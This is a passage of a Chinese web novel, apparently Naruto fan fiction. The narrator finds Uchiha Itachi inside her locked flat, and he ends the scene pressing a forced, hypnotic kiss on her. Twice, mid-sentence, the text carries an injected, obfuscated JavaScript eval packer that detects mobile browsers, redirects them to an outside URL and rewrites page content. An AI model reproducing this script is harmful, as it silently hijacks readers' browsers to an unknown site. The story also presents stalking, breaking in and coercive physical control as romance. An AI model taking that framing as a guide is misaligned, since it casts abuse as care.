我想了想,时间过去太久了,自己其实只记得一个人的资料了,于是问:“请问代号是‘朱雀’的人在吗?” “……嗯?” 电话似乎被换了只手拿,传来一些噪音。听背景音,这个人似乎在做什么黏土工艺品,有揉捏塑形黏土的声音。 真是轻松的工作环境,我有些羡慕地想。 那个男声问。 “你找他干什么?”他变得有些认真,咄咄逼人地追问,“联系方式是谁给你的?你是什么人?” “最近遇到了一些危险的事,差点被人绑架,”我说,“出于对人身安全的考虑,我想咨询一下雇佣‘晓’作为安全顾问的——” “噗哈哈哈!”对面爆发出响亮的大笑声,打断了我的话,毫不留情地嘲笑,甚至笑得眼泪都出来了,上气不接下气地说,“哈哈哈,你来‘晓’找安全顾问,噗哈哈,还是‘朱雀’那个家伙……嗯!” 我有些纳闷。 他擦了擦眼泪,说:“这样吧,你现在在哪?” 我报出了自己的方位。 “往前走。” 我照做了。 “接着拐弯。” 我继续走。 “然后直行。” 我说:“可是前面就是南贺川了。” “对啊,”男声高兴地说,“这样寻死比较快点……嗯!” 他把电话挂了。 我看着“嘟嘟嘟”的电话发了会儿呆,将戴了一整天的安全帽摘下来,擦了擦汗水,坐在河边,望着波光粼粼的湖面,整理烦乱的心绪。 上个月和鸣人一同找清了症结,对症下药后,很快找到了新的工程队,展台也重新搭建起来。 带土先生和斑先生很关注我的方案,得知此事,毫不吝啬地在会议上夸奖了我! 辛苦努力的成果能够被肯定,上司是知人善用的好人,这些让我十分感动。决定要一生都在宇智波集团工作。 知道我的决心和对公司的忠心之后,办公室里的氛围变得十分古怪。斑盯着我,有足足半分钟没有说话。 带土先生打破了沉默,高兴地表示,作为奖励,邀请我去他家里做客,我原本很期待,不过很快被斑先生冷脸阻止了。 这两个人明明是共同执导月之眼企划的叔侄,理应关系亲密,最近之间的火药味却越来越浓,真是让我有点担心…… 之前妈妈做的腌菜寄了过来,虽然是原材料很便宜的东西,但对我来说却是天下最珍贵的宝物。 将宝物分给朋友们,会让这份珍贵的喜悦传递,之前我就是这么和朋友们相互分享的。鸣人小樱他们当然不会漏掉,明美前辈也在这段时间相处成了无话不谈的好朋友。 之前虽然冲昏头脑对斑和带土说了要送他们,但真的执行的时候,还是不免有些紧张。 对有钱人来说,这种平民东西完全看不上眼吧。 如果在垃圾桶里看见妈妈的腌菜,我会很伤心的。 这样想着的我,迟迟没有把礼物送出去。直到斑先生超级不经意地询问了我。 “你在想什么?”他冷冷地、直接地说,“不想要的东西我在一开始就会拒绝。你以为我是会勉强自己接受讨厌的礼物的人吗?” ……也、也是噢。 斑先生不仅自我主见超强,还是晚餐是平民便利店豆皮寿司的人。根本不会挑剔妈妈的美味腌菜,搞不好一直都在期待我的礼物。结果我却辜负了这份期待。 我为自己的妄自菲薄而感到脸红,大概是豪门电视剧看太多了,对有钱人总有着“每顿饭都在吃牛排鱼子酱”的土气偏见。 其实,斑先生和带土先生,也只是会用腌菜配茶泡饭来吃的普通人而已。 第二天把礼物送出去以后,三个人一起吃了茶泡饭。被二人坦率地夸奖了妈妈的手艺,我很高兴。虽然是普通的餐食,但感觉比从前吃过的所有茶泡饭都要美味。 之前只是嘴上说想要和斑还有带土先生做好朋友,心里总感觉对方是高高在上、掌管一切的上司,有着距离感,有很多事都自己一个人想来想去,反复内耗,畏缩不前。但是这件事经过之后,好像稍微能够把他们当成可以一起吃便宜的茶泡饭的朋友了。 还顺势加了联系方式,偶尔三个人会一起在群组里面聊天。带土先生有很多可爱的小黑猫表情包,消息里总带有流行的颜文字和女高中生一样的可爱口癖,时常分享自己的日常生活,拍照和视频传过来。是个私生活很有趣的男人。 斑先生则很少出现,只会发干巴巴的语音。就像上了年纪,不会用电子产品打字的老爷爷一样。 我总是发工作上的内容,被带土提醒“这可不是工作群噢”之后。手忙脚乱地找了相册里拍的学校猫猫发过去作为弥补。 我:是很可爱很坚强的独眼孩子,经历了摘除眼球的危险手术后勇敢地活下来了,学生们叫它御美都。很可爱吧! 带土:嗯嗯!Lucky~在猫瞳里看到你了~ 带土:是难得一见的日常装呀……真美味……我会好好使用的[心] 带土:可爱可爱~~ 咦?他的注意点为什么不是可爱的猫猫? “使用”又是指? 斑:[语音]哈。 冷笑。 ……斑先生好像不太喜欢御美都,同类相斥? 不过后面几天发了我投喂小斑豆皮寿司的照片,斑先生的冷哼声听起来蛮愉悦的。 对猫猫也区别对待? “哼,你还挺擅长取悦我的。” 这算是对我的夸奖吗?豆皮寿司全肯定派宇智波斑总裁大人? 真搞不懂。 翻阅了今天的聊天记录,带土先生一个小时前发了下午茶点心的照片,问我在做什么。斑先生让他滚回来开会。 我想了想,拍摄了面前清澈见底、水波荡漾的南贺川,还有河边摇曳的荻花,发了过去。 我:[图片] 我:我在休息,黄昏时的南贺川很漂亮呢。 我:我之前听说这里淹死过人,有鬼怪出没,被吓了一跳,不敢靠近。不过这段时间工程队里的人告诉我,那只是牵强附会的鬼故事,我就安心多了,也敢来河边休息吹风了。 带土先生的回复很快。 带土:什么什么 带土:鬼故事 带土:[鬼]真可怕~~害怕的话可以到我的怀里哭泣哦~ 我:没错,不仅不是鬼故事,真相还相当令人感慨呢。 据说很多年前这里十分偏僻,并未被开发,人迹罕至。茂盛的荻花能够隐藏踪迹,河水又适合运送货物。不少非法分子在南贺川附近进行交易。 警视厅筹备多时,终于得到卧底线报,要在这里捣毁一宗大型违禁药物交易,但在行动前夕被内鬼出卖,消息泄露,卧底死亡,在黑夜里的荻花丛中迎接他们的是黑洞洞的枪支。 在不得已的交火中,一名警视长为了保护同伴,被射中头颅后坠入南贺川中,生死未卜。 这件事当初还上了报纸,轰动一时。通过网络可以检索阅读,旧新闻里没有提到这名勇敢的警视长的后续,但大肆抨击当时的警视总监任人唯亲、酿成苦果——尽管使用了化名,也不难推测出出卖警视厅同伴的内鬼,正是时任警视总监的男人的长子。 既然坠入南贺川的警视长,是为了保护他人的性命毅然决然牺牲自己的人民公仆,想必即便变成鬼怪,也是不会伤人的,温柔正义的鬼吧。 想到此处,这黄昏里的淙淙流水声也像是一曲英雄的悲壮挽歌了。 斑先生的语音姗姗来迟。我抓紧时间和他对接了一下工作。等到放下手机,身后的施工地已经安静很久了。 多付了工钱紧赶慢赶,展台有很大可能能够在文化祭之前搭建好,只是预演彩排的时间就比较紧张了。是抽调场地另行安排还是增加预演彩排的强度,都是要考虑的问题。 作为对接人之一,在施工现场勘验也是我的工作。 户外作业炎热危险,且有大量的体力劳动。一天下来往往累得汗流浃背、筋疲力尽。但我并不因此想要退缩抱怨,因为现在我的付出是有意义的:一起负责项目的同事,逐渐开始把我当作主心骨,时常让我决定项目的整体方向。这让我感到肩上的责任感越来越重,身体虽然疲惫劳累,心灵上却欣悦而满足。 事情看似进行得很顺利,但我心中总有些惴惴不安,不知是否是那日在仓库里给我留下的阴影。 我总觉得,最近好像有人在跟踪与窥伺我的生活。 每一个我看不到的视觉死角,每一次我转过身。 每一个呼吸的停顿,每一个眨眼的瞬间。 都有人藏在那里。 用他沉默的视线攫取我的灵魂。 因陀罗那句“等处理完这些麻烦事就来接你”,就像悬在头顶的达摩克利斯之剑,随时可能坠落。 就在这时,我想起几个月前在斑先生办公室看到的,名为“晓”的安全顾问公司,在笔记本里翻出当时记下的电话,打了过去,准备问问有没有比较便宜的雇佣方案。不需要贴身保护,但希望能根据我的需求提供顾问意见。结果对方的反应十分奇怪,完全不像是要做客人的生意,反而还出言嘲笑。 难道说,在他看来,我雇佣“朱雀”会迎来比死亡还可怕的事吗?“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035595|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱雀”是有多可怕多吓人?巨■强森型肌肉壮汉猛男?钢铁大猩猩?手臂肌肉比我的大腿还要粗? 这到底是什么奇怪的安全顾问公司啊。 结束了一天的工作,我像往常一样开车回家。 大概是太过疲惫,又睡眠不足,在半路出了追尾事故,虽然人没有什么事,保险杠和车漆却有损伤。与另一位车主联络保险公司和警察处理又耽误了很长时间。 等到回到家已经是月明星稀,饥肠辘辘。 好饿……今天就照例用速食面解决晚餐吧。 这样想着,我打开家门,有气无力地将鞋子随便甩掉,跌跌撞撞一边把包、外套、帽子丢了一路,一边咬着发绳将头发扎起来,以一副日常家居生活的懒散放松姿态走到客厅。 “……咦?” 我瞪大眼睛,脚步顿住。 难以理解的事情出现了。 办公用餐两用的小圆桌上摆着丰盛的菜肴,菜色丰富,热气腾腾,米饭晶莹剔透。一左一右摆着两副碗筷。 可是……我明明是独居啊? 我还在愣怔着,厨房里有人端着汤走了出来,对方把鲜香四溢的板栗鸡汤放在圆桌正中央。微微侧过脸,黑发滑落,露出白得有些病态的俊美脸颊。 是几个月前的雨夜,来我家里拿过误寄到快递的病弱黑长发男子。 我记得名字是……宇智波鼬? 他对我露出一个淡淡的笑容,解下黑色猫猫图案的卡通围裙,像贤惠的妻子对归家的丈夫那样,温声道:“你回来了。” “我、我回来了?” “点心是三色团子,配了黄豆粉和红糖浆,”他平静地安排我,“去洗手,然后过来吃饭。工作也需要劳逸结合,下次请准点回家。” 噫!是、是严厉的妻子! “好、好的。” 水流哗啦啦从水龙头里流下,我呆滞地回过头,看见穿着黑底红云高领风衣的男人,安静地坐在我买的超可爱黑猫耳朵卡通椅子上,表情平静,等待我洗完手过去,同他一起用餐。 我仔仔细细洗完手,用(完全不知道为什么会出现在这里的,根本没有购买印象的)擦手巾将水珠擦干。一步一步艰难地挪了出去。 “坐。”他冷淡地说。 “是、是。”我老老实实地、僵硬地坐了下来。 “吃饭。” 我食不知味地往嘴里扒了一口饭,饭尖上忽然多了一个鸡块,是他夹给我的。 他淡淡地看着我,仿佛遏制不住似的,捂着嘴轻轻咳了两声。放下手来的时候,血色褪尽,脸色更加苍白病态。 漆黑的勾玉项链落在白得令人触目惊心的精致锁骨上。 我盯着他,魂不守舍地下意识用筷子拨到嘴里,嚼了两下,眼睛立刻睁大了。 唉? 这是什么? 好美味。鲜美柔嫩的鸡肉仿佛能在口腔中融化,混合了板栗的浓厚香醇,在长时间的小火炖煮中变得无比鲜嫩多汁。眼泪都要流出来了,饥肠辘辘的胃发出幸福的喟叹,有什么东西控制了我的大脑,反应过来的时候桌子上的饭菜已经被我风卷残云吃掉了大半。 鼬好像胃口不好,神色恹恹,没有吃多少。只是看着我在吃,眼神变得有些柔软。 在我局促的目光中,他十分自然地接过空碗,去厨房洗完碗。从冰箱里拿出三色团子,装在盘子里端了上来。配料是两个小碟子,一个装了黄豆粉,一个装了红糖浆,自由蘸取食用。 饱足的碳水终于令迟钝疲累、被震惊到一片放空的大脑反应过来,我本应该大声质问宇智波鼬为什么会出现在这里。可是吃人嘴软,说出口的话就变成了窝囊的:“晚、晚上好,鼬先生。” “晚上好。” “请问您、您是怎么进入我的家里的?”我说。 迟来的恐惧渐渐浮上心头。 电梯需要身份卡。门上也有指纹锁,密码输错三次就会进行报警。 我住在高楼中间部位,彼此之间的阳台不互通。没有通过窗户和顶楼翻进来的可能性。 保安也不可能放陌生人进来。 独居要考虑安全性,这栋租屋是我综合考虑下租住的,大学这几年没有出过任何事故。 ……他是怎么进来的? 更重要的是,今晚临时出了追尾事故,拖延了回家时间。连我自己在与保险公司和警察沟通结束前,都不知道处理这起意外需要多久。 可入口的饭菜温度却是刚刚好。一点也没有反复加热的糜烂感。每道菜都热气腾腾。 显然是计算好烹制所需时间,安排好顺序,掐好了我回家的时间准备的。 到家时间点连我本人都无法控制……宇智波鼬,这个男人为什么能把控得如此精准? 他想对我做什么? 19.第 19 章 19、 “是三色团子不合口味吗?”他平静地问。 “不是……等等,请回答我的问题。” “……”他垂下鸦羽般的眼睫,轻轻咬了一口三色团子,接着起身,把我回家时散落一地的衣帽收起来,分门别类放好。我呆呆地看着他,注意到他右手无名指上戴了一枚朱红色的戒指,戒面刻着“朱”字。十根手指的指甲染成黑色,愈发衬得他肌肤苍白病态。 他将杂物打理完毕,来到我面前,弯下腰,取了一只三色团子,掰掉尖锐的顶端,蘸上糖浆和黄豆粉,放在我的嘴唇前。 柔软黏糯的团子压着唇瓣,散发着诱人的甜香。我下意识咬了一口,又咬了一口,然后就吃完了。 欸? 鼬:“味道如何?” “很好吃,是您自己做的吗……不对!鼬先生!”我有点生气地加大音量,站起来直视他。 他没有任何反应,表情冷淡而平静。黑瞳宁静如水。 “明天是休息日。”他忽然说。并不是问句,而是陈述句。 “对的。” “有什么安排吗?” “想在家休息一整天然后和朋友连线打游戏……不对!鼬先生!虽然很感谢您的饭菜……我之后会购买回礼以示感谢,但现在请从我的家里出去!” “冰箱里只有速食面、腌菜和碳酸饮料,长期利用这些解决晚餐会对你的健康造成伤害,”鼬淡淡地说,“明天一起去买新鲜食材。” 他虽然语调平淡如水,但说话时完全不使用征求意见的祈使句或柔和委婉的问句,都是不容更改的陈述句。仿佛不给他人否定的余地,强势而具有控制欲。 与他病态苍白的虚弱外表形成了鲜明的对比。 我的脸色渐渐变得不太好看:“别再擅自决定对话走向了,鼬先生!请回答我的问题,您这样很不礼貌!” “咳咳……” 他右手成拳,微微蹙起眉,抵着嘴唇轻轻咳了几声。忽然靠近我。 鼬比我高,当他弯腰靠近我时,鬓边柔顺的黑色长发滑落,微微落了几缕在我脸上。 宛如蛛网,笼罩了过来。 他背着光,脸颊没入黑发落下的阴影中,辨不出喜怒,只有一双乌沉沉的眼睛,明净如水,光影摇曳。 呲—— 椅子遽然摩擦地面,发出刺耳的噪音。我猛地往后退了一步。心脏怦怦跳了起来。 他要做什么? 男人伸出手臂,越过我的腰侧,险险擦过我的手臂,几乎像是一个暧昧的拥抱。 即使是如此近距离看,他的五官也相当漂亮立体,肌肤如冷玉一般毫无瑕疵。而外貌上病态的苍白虚弱又给这份美丽增添了令人心折易怜的破碎感。 薄薄的嘴唇几乎没有血色。 好似夏天的冰,雪中的火,掌中的烟火。绮丽又稍纵即逝。又像一只布满裂纹的青白玉瓶。随时都可能破碎。 清冷的气息萦绕在鼻端。 勾玉项链垂落着,相互敲击,其声泠泠。 ……隐秘的威胁感。 内心深处涌起注视深邃黑暗的海底空腔时,来自求生本能的,对未知的恐惧。 明明看起来毫无攻击力。 我听见自己紊乱的心跳声。 “你在调查我。”他说。 “什么?” 他将手收回来,手里拿着一沓文件。用来吃饭的小圆桌是办公用餐两用,而吃速食面只需要巴掌大的地方。因此在今夜之前,小圆桌上都堆满了我工作上面的文件、企划书、笔记本电脑还有充电线、发绳、薄荷糖、咖啡杯之类的杂物,椅背上也堆叠了许多顺手放上“总有空会整理吧……哈哈”的衣物,而实际上,自从接手项目以后,要学习的东西和需要我处理的事情太多了,细算起来甚至比之前被大坏蛋主管穿小鞋那阵子还忙,以至于到了周末我只想睡到天昏地暗,完全没有精力做家务。 因此家里可以说是一团糟,东西摆得乱七八糟,只勉强维持表面上的看得过去。 现在一看,那些乱七八糟摆放的杂物已经分门别类放好了。 之前小圆桌上的物品也整理得漂漂亮亮整整齐齐,暂时放在了一旁的矮桌上,方才鼬靠近我,正是要拿我身后矮桌上的一摞资料。 既然是我自己整理的东西,我当然第一时间就认出来了。 那是一叠关于南贺川往事的文件,前不久,我在了解到事情大体经过之后,深入地在网络上搜索了几天。 但因对案件的保密要求,除了一些网民似是而非的讨论,我没有搜索到太多信息,加上工作繁忙,也就暂时搁置了此事。 不太明白这和他有什么关系……说起来这个人是不是十分自然地把我的私人笔记全部看了一遍? 这家伙就像理所应当地噗噜噗噜喝人类水杯里的水的坏猫一样,认为全天下的好东西都是自己的,“猫喜欢猫得到”,很没有边界感呢! 宇智波鼬翻到其中一页,翻转过来,递给我。 这是那个出卖同伴的警部模拟画像,当时案件并未侦破,新闻媒体出于保密要求未能得到具体人物信息,只在旁边配上了相应的模拟画像。底下记录着化名,整个新闻就像一部警匪剧剧本一般跌宕起伏,充满想象力。 如果在这部警匪剧里,除了贩卖违禁药物的坏蛋以外,还要再加一个讨人厌的反派人选,那么就是这位出其不意背叛昔日同伴、造成轰动一时的大事故的邪恶警部了。 “所以说……?” 鼬坐回椅子,抬起眼睛看着我,平静地说:“这就是我。” 我看了看文件,又看了看鼬。眼睛慢慢地睁大了:“欸?” 血液差不多全部凝固了。 手指的温度一点一点降下去。 在逃犯……在我家里…… 现在报警的话,不,连他做的饭都已经暖乎乎地在胃里了。如果放了什么可疑药物的话……等等。 “是……开玩笑的吗?”我抱有美好的期待。 “不,”他说,“我不会在这种事上开玩笑。” 承认了啊! 自己是在逃犯这种事别承认啊!我要吓哭了啊真心的! 似乎是看到我蠢蠢欲动准备拨报警电话的手,宇智波鼬微微叹了口气,轻声道:“很抱歉让你感到困扰,我只是想感谢你对舍弟的照顾。如果你有其他想要的东西,请务必提出,我将尽我所能满足你。” “……您的弟弟?” “既然你已经调查到了这里,想必发现了一部分真相了吧。” “……” 我想了想,跟着在椅子上坐了下来。 宇智波鼬把三色团子推了过来:“请安心食用,这是为你特地制作的,除了我的感激之心,没有添加可疑的药物。” “我、我并没有怀疑您!”我试图狡辩,心虚地别过眼神。 ……这个人会读心吗好恐怖! 事已至此,先吃三色团子吧。 美食是无罪的。浪费是可耻的。 我没骨气地拿着团子吧唧吧唧小口小口咀嚼。顺便借此空隙整理思绪。 全日本只有一个警视厅,而警视总监也不是什么会经常更换的职务。在听完工程队的人偶然提起的南贺川鬼故事真相以后,我很快就联想到了,佐助曾经同我说的家族过去。 佐助是我的朋友(……应该是吧!),前不久深入调查这件事,也有一大部分是出于关心朋友这个原因。 引咎辞职的警视总监的名字很容易调查到,加上相同的姓氏,我几乎可以确认佐助的父亲就是当年引咎辞职的警视总监,南贺川鬼故事的主人公之一。而他所憎恨的哥哥…… 根据鼬的话来推测。 “难道说,您就是佐助的兄长吗?” 我身边的宇智波含量是不是有点太高了! 宇智波鼬颔首。 呜哇……我一时间不知道该摆出什么表情。这个是背叛信仰和亲友的大坏蛋,也是佐助想要捉拿归案的哥哥。 我说:“佐助是我的,嗯,应该算朋友吧。他和我提起过您,你们之间似乎关系不是很好呢……” 我讲话有够委婉的,如果现在坐在对面的不是我而是佐助,佐助应该会直接掏出枪瞄准鼬的脑门吧。 鼬平静道:“我能够成为佐助前进的动力,也是一件好事。那孩子小时候就太过依赖我了,拥有后盾之人是无法成长的。要砍掉遮天蔽日的大树,底下的树苗才能茁壮成长。” “即使被亲弟弟所憎恨?” “浓烈的恨意也是强烈的变强驱动力。”他淡淡道。 “……” 锻炼弟弟要做到这种程度吗?你们家的家庭教育是不是有点太恐怖了! “不过,为了让你安心,还是请允许我告诉你,当年那件事的幕后真相吧。” “真相?” “想必你已经知道大部分内情了。”鼬说,“佐助应该与你说了不少。” 我点了点头,有些不好意思地挠了挠脸颊。虽然佐助的话有很多对鼬的偏见,让我起初完全没把这个人和印象里温和有礼的鼬联系在一起。 “关于我是背叛了所有人的叛徒这件事,时间线要更往前拉动一些。在我还是警部的时候,当时警视厅有一个十分照顾我的前辈。” 来了! 我最喜欢听人讲故事了! 我咬着三色团子,摆出好听众的认真表情。 那名叫作止水的前辈为人相当正直无私,充满正义感。他在行动前夕找到鼬,对鼬嘱托了一件十分重要的事。原来,通过这些年在警视厅的工作,止水发现东京都内的非法交易猖獗,屡禁不止的原因,是地下□□组织在警视厅有高层保护伞。 高层势力盘根错节,仅凭止水一己之力无法撼动。几次尝试,反而打草惊蛇,让止水差点被他们发现。 为了彻底铲除警视厅内部的毒瘤,止水希望鼬能够以“警视厅背叛者”的投名状,加入黑方,潜伏其中,搜集证据,与他里应外合。 坠入泥潭,从深渊最深处捧出正义的光。 而为了让这份“投名状”更加真实可信,止水自愿做出重大牺牲,成为祭品。 一个前途无量的警部,只有背叛警视厅,试图杀死队友,才能彻底失去退路。以“贪慕富贵”之名,取信那些多疑狡诈之人,坠入泥潭中。 “你可能会死,”鼬冷静地说,“止水哥。” “如果你的枪法够准,”止水对他露出灿烂的笑容,用手指了指自己的眼睛,“我可以只瞎掉一只眼睛。” “……”鼬说,“止水哥,你知道我在警校期间射击比赛是第一名。” “所以啊,”止水爽朗地笑道,“你看,我可是很珍惜自己性命的,千挑万选找了你来祸害。别担心我了,倒是你……” 止水顿了顿,收起笑容。 他们一齐注视远方。 朝阳正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053816|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从地平线上升起,黑夜即将过去。但有人要永远留在黑暗中。 为了这世间,能有更多地方沐浴在温暖灿烂的阳光下。 “你要欺骗所有人,鼬,”止水沉声说,“除了我,没有人知道你是卧底。如果我死了——” “如果你死了,”鼬平静说,“我会接过你的担子,继续做下去。” 止水用手臂勾住鼬的脖颈,把人拉得一个踉跄,他嬉皮笑脸地揉了揉鼬的头发,将凝重隐藏在乌黑锐利的眼瞳里:“那就交给你了,鼬!” 这个世界并不是非黑即白的。 为了牢牢控制那条黑与白的分界线,鼬现在是活在灰色地带里的人。 不管本心如何,鼬的确做了许多手染血腥之事。这个曾经前途无量的警部,现如今已经彻底远离了白色的世界。 “欸?”我说,“这件事告诉我没关系的吗?” 听起来是保密级别很高的任务。 “已经都过去了,”鼬淡淡地说,“止水哥当初利用我的父亲辞职后的人员剧烈变动,以及我提供的证据,一鼓作气打倒了那些人。但水至清则无鱼,他留下了一些小鱼,自己有空时会去盯着。” 我捂住嘴,倒吸一口凉气,连忙问:“止水先生有没有被他们报复?!” “百足之虫,死而不僵。前些年是有一些小麻烦,我已经帮止水哥处理掉了。” 他的手指缓缓摩擦盘子边缘,侧了下脑袋,黑发擦过脸颊,平静道。 “现在,止水哥应该已经在后勤部,提前过上养老生活了吧。” 年纪轻轻过上幸福养老生活,我听着听着都有点羡慕了呢! 我忽然想到一个严峻的问题。 “那……既然事情已经解决了,为什么不对家人说出真相,和佐助和好?” 鼬抬起眼睫注视我:“佐助能够因此成长,我很高兴。父亲与母亲也已经放弃了我,没必要再去打扰他们,徒增伤心。” 他捂住嘴,轻轻咳了两声:“而且,我也没有多少时间了……” 这话中不祥的暗示令人心悸。 预感到自己即将死亡的大象,会脱离象群,独自前往象冢待死。 “佐助是我最珍视的弟弟,我一直都在注视着他的成长。但上个月我被一些事绊住,花了些时间去处理,事后才知道那是有人故意把我引开。” 我听得入了迷,鼬将我拿在手里的竹签抽走,自然地放回盘子。 是、是贤惠的妻子! “我很感激你在那时帮助了佐助,正如我所说,佐助是我重要的家人,守护了我的家人的人,无论怎样的感激也不为过。” 他淡淡道。 我恍然大悟。 原来鼬是想报答我那天帮了佐助,送他去给纲手老师治疗,才在我家做饭、帮我整理房间、购置家用物品给我惊喜的呀,我真是误会鼬了! 还好误会解开了,不然我真是要冤枉好人了! “我、我也没做什么……”我不好意思地摸了摸鼻子,脸红起来,“佐助是我的朋友,朋友之间相互守望是应该,呃——” 我一顿。 微凉的手指触碰我的脸颊,将一缕我险些吃进嘴里的发丝别在耳后。 我抬起头,心脏漏跳一拍。 ……他什么时候靠我这么近了? “那件事过后,劣迹斑斑的我无法再回到警视厅工作。所幸那段时间,我在黑方有了些名声,后来便加入了一个闲散组织,偶尔做些微不足道的任务,赚取佣金。虽算不上大富大贵,也能勉强温饱。” 我注意到他说话时,垂着鸦羽般的眼睫,漫不经心地转了转右手无名指上的戒指。 “有任何需要的,请向我开口,我会尽我所能满足你。”鼬顿了顿,眼睫垂下,冷静地说,“我注意到你对我很感兴趣……我很高兴,我们是两情相悦的。尽管做了一些必要的准备,但我仍然不希望对你动用太多复杂残酷的手段,让迟钝又可怜的你明白自己对我深深的爱,族里类似的爱情悲剧太多了。还好,你也是爱我的……我想,我们的婚后生活不至于那样可悲。” 我的视线顺着他的目光,滑向桌子上敞开的笔记本。 那些粘贴的剪报、便签条、手写标注的小字……如果对方是一个陌生的、无恶不作的大坏蛋,那我就是在调查坏人的名侦探。 但如果对方是一个咫尺之遥的病弱美男子。 那么,我简直就像什么变态跟踪狂。 微凉的长发,像蛛网一般贴了上来,落下帷幕似的黑影。 光影摇曳。 漆黑的乌鸦是不祥的告死鸟。 男人的发间有着流水般清冷的气息,擦耳拂过,柔软微痒。从这个如出一辙的冷淡气息来看,他与佐助果然是亲生兄弟。 他贴着耳朵,冷静地低语,吐息钻进我的耳蜗,将我的思绪搅和成一团滚烫的浆糊:“明天是你的休息日,我们会有很多时间,来讨论未来;也有很多时间,来了解和探索彼此……” 手臂顺势禁锢住我的腰肢,将正欲起身的我死死困在椅子上不得动弹。我的呼吸渐渐急促,心跳若擂。 柔软微凉的嘴唇慢慢挪到我的嘴角,他抬起鸦羽般的眼睫,用力抓紧我,就像溺水之人抓住稻草,无名指上的戒指硌得我后腰发疼。 近在咫尺的红瞳中,旋转的黑色花纹令人神思恍惚,如堕五里雾中,大脑一片混沌,只顺着他的话去点头:“而今夜,将很漫长……” 20.第 20 章 20、 那双猩红色的眼睛宛若万花筒般绮丽,只是对视一秒,我的大脑就昏昏沉沉,晕晕乎乎。整个人摇摇晃晃,若不是被他抓着,就要摔倒在地上了。 不知是否因鼬常年身体抱恙,他的体温较之常人更低。当他呼吸时,胸膛几乎没有肉眼可见的起伏。若是他远远坐着不动,眉眼精致昳丽,肌肤苍白没有血色,气质清冷,简直不像活着的人。 我感觉自己像是在含着一块柔软的、活动着的冰,他捧着我的脑袋,手指陷入我的发丝中,强势地控制着我。我无法后退,无法躲避,只能承接。口腔被搅弄时黏湿的激烈水声通过颞骨直接传递到内耳,清晰得不可思议。 “呜、嗯……!” 无法呼吸。窒息感。大脑缺氧。 撕裂冰川掀起的滚滚海潮几乎要淹没我。 他仿若失温体寒的濒死之人攫取暖意那般,呼吸急促,微凉的鼻息与我滚烫的吐息呜咽交织在一起。身体迫近我,单膝跪在椅面,挤开我的大腿,抵着尽头的髋骨,将我死死钉在身下。 ……好可怕。 与其说是亲吻,不如说像是血腥的猎食行为。 我因恐惧而蜷缩颤抖着的身体被他强行打开,脊背受力,紧紧压着脆弱的椅背,他按着我的后腰迎合他,贴紧他。 他的体温也比我要低,我像是贴着一片微凉的玉。 推拒挣扎的手指在混乱中按住男人隆起的喉结,它在我的掌下颤抖,因极致的兴奋吞咽滚动。 好痛苦,想要氧气。 黑与白的雪花点闪过湿润朦胧的视网膜。 痉挛中的手指胡乱抓挠着,寻觅求生的可能,无意间勾到什么,混乱中手指被细绳缠住,我在窒息的痛苦中挣扎,恍惚间听到泠泠的清脆落地声。 项链被我激烈的行为抓断,黑色的勾玉落在了地上。 窒息。混乱。痛苦。恐惧。 我难以遏制地小声啜泣起来。 他按着我后脑勺的手掌因兴奋而颤抖,清冷的气息染上靡艳的温度。 被打碎破坏的不只有勾玉。 有什么界限在被跨过。 很安静,除了迷乱重叠的喘息,就只有黏湿的水声。掠夺我的唾液,然后吞咽下去的声音。 舌头被吸吮得发痛。 在他给我大口喘气,吸入氧气不至于溺死于亲吻中的短暂空隙,他也未曾离开过我一寸。微凉的嘴唇贴着我湿润的嘴角厮磨,舔吻着溢出的黏稠唾液和透明的泪水,低声呢喃着模糊不清的词语。 关于未来的婚姻生活,家族关系的安排,零零碎碎。 简直就像刚绑架了猫回家,一股脑购置大把猫玩具、猫爬架和猫抓板,把环境打造得适宜猫咪生活的新手主人。 完全不会考虑,猫咪喜欢什么,想要什么。 因为……他才是控制者。 接吻都是这样激烈的吗? 好突然,完全不给人反应的时间。感觉好像要被吃掉了。 我还是第二次和人接吻。 上一次,好像是这个人的弟弟。 难道说,是一脉相承的血缘力量? 这对兄弟莫非是看见想做挚友的人,但性格内向不会表达,苦于口拙,于是只能化身主动亲亲的亲亲怪来表达好感吗? 真是笨拙又可爱呢! 要问我为什么会这样理解,还要多亏了之前鸣人开导我,使我醍醐灌顶,洞悉真相。 这是在上个休息日发生的事。 为了庆祝佐助康复出院,我们一起去了玖辛奈妈妈家吃寿喜锅。 作为主角的佐助,当然是被鸣人还有小樱生拉硬拽过去的。 “那孩子也会来哦!”面对着神情冷漠,毫不感兴趣的佐助,还有无论怎样也要强行把佐助拖回家的鸣人,小樱忽然说,“我和鸣人要和她一起吃寿喜锅,晚上在玖辛奈妈妈的房间玩枕头大战,还可以看到那孩子罕见的睡衣状态。佐助真的不想去吗?” “……哼,无聊。”他冷冷地别过脸。 ……结果还是来了。 在吃饭前还有一些时间,我们几个人便凑在一起下飞行棋玩。 “说起来啊,”鸣人告诉我,“我整理资料的时候发现,原来木叶大学第一届文化祭的时候出了事故,那之后隔了很多年才再办。呜哈,是六点,好耶!” 他欢呼雀跃地拿着棋子往前数了六格,盘腿坐在榻榻米上,眼睛笑得眯起来,脸上的猫胡子胎记一翘一翘的。 “你是说那个伤亡事故吧,鸣人。”我心不在焉地说,握着骰子,内心虔诚地许愿能骰到最大的数字,“当时闹得很大呢。” 